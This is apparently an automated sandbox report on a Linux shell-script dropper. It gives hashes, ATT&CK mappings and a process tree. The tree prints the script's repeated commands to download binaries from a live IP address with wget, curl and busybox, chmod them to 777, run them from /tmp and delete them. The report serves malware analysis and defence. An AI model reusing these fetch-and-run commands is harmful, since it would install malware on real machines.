01ebcd660965cde8bff5dd0bf8526c4581884c54031bd162b9fc66b30fb139db

Analysis

max time kernel
17s
max time network
21s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
07/11/2024, 02:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
01ebcd660965cde8bff5dd0bf8526c4581884c54031bd162b9fc66b30fb139db.sh
Size 10KB
Sample241107-cfwftavnhp
SHA256 01ebcd660965cde8bff5dd0bf8526c4581884c54031bd162b9fc66b30fb139db
MD5 5f2a4e7dc7330dbdf68bc1f93eb9fb4e
SHA1 31b0fcd92209216275cc769068fb3e20067b9321
SHA512 3aa411b4f4b62e6df08402f4e54ce98b13c36a70722c0103242f3852c8f8a87442c0d026fdb75127428944ad5ec6ca17e95f40464eeaf3afbb30404f93a36f0e
SSDEEP 192:xjrQsJGaPa/avasaYaff8J7jrUaPa/avasaYaSf:usJif8Jxf
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
744	chmod
767	chmod
690	chmod
698	chmod
708	chmod
725	chmod

Executes dropped EXE 6 IoCs

ioc	pid	Process
/tmp/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG	691	vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
/tmp/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX	699	7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
/tmp/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q	709	Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
/tmp/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6	727	TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
/tmp/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs	745	1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
/tmp/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9	768	UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9

Checks CPU configuration 1 TTPs 6 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG	curl
File opened for modification	/tmp/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX	curl
File opened for modification	/tmp/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q	curl
File opened for modification	/tmp/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6	curl
File opened for modification	/tmp/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs	curl
File opened for modification	/tmp/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9	curl

/tmp/01ebcd660965cde8bff5dd0bf8526c4581884c54031bd162b9fc66b30fb139db.sh
/tmp/01ebcd660965cde8bff5dd0bf8526c4581884c54031bd162b9fc66b30fb139db.sh
1⤵
PID:657
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:660
- /usr/bin/wget
  wget http://216.126.231.240/bins/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
  2⤵
  PID:668
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:677
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
  2⤵
  PID:686
- /bin/chmod
  chmod 777 vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
  2⤵
  - File and Directory Permissions Modification
  PID:690
- /tmp/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
  ./vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
  2⤵
  - Executes dropped EXE
  PID:691
- /bin/rm
  rm vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
  2⤵
  PID:692
- /usr/bin/wget
  wget http://216.126.231.240/bins/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
  2⤵
  PID:693
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:696
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
  2⤵
  PID:697
- /bin/chmod
  chmod 777 7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
  2⤵
  - File and Directory Permissions Modification
  PID:698
- /tmp/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
  ./7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
  2⤵
  - Executes dropped EXE
  PID:699
- /bin/rm
  rm 7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
  2⤵
  PID:700
- /usr/bin/wget
  wget http://216.126.231.240/bins/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
  2⤵
  PID:701
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:702
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
  2⤵
  PID:705
- /bin/chmod
  chmod 777 Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
  2⤵
  - File and Directory Permissions Modification
  PID:708
- /tmp/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
  ./Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
  2⤵
  - Executes dropped EXE
  PID:709
- /bin/rm
  rm Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
  2⤵
  PID:710
- /usr/bin/wget
  wget http://216.126.231.240/bins/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
  2⤵
  PID:712
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:716
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
  2⤵
  PID:721
- /bin/chmod
  chmod 777 TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
  ./TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
  2⤵
  - Executes dropped EXE
  PID:727
- /bin/rm
  rm TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
  2⤵
  PID:728
- /usr/bin/wget
  wget http://216.126.231.240/bins/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
  2⤵
  PID:730
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:734
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
  2⤵
  PID:741
- /bin/chmod
  chmod 777 1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
  ./1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
  2⤵
  - Executes dropped EXE
  PID:745
- /bin/rm
  rm 1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
  2⤵
  PID:746
- /usr/bin/wget
  wget http://216.126.231.240/bins/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
  2⤵
  PID:763
- /bin/chmod
  chmod 777 UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
  ./UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
  2⤵
  - Executes dropped EXE
  PID:768
- /bin/rm
  rm UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
  2⤵
  PID:769
- /usr/bin/wget
  wget http://216.126.231.240/bins/mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
  2⤵
  PID:771

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG

Path /tmp/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads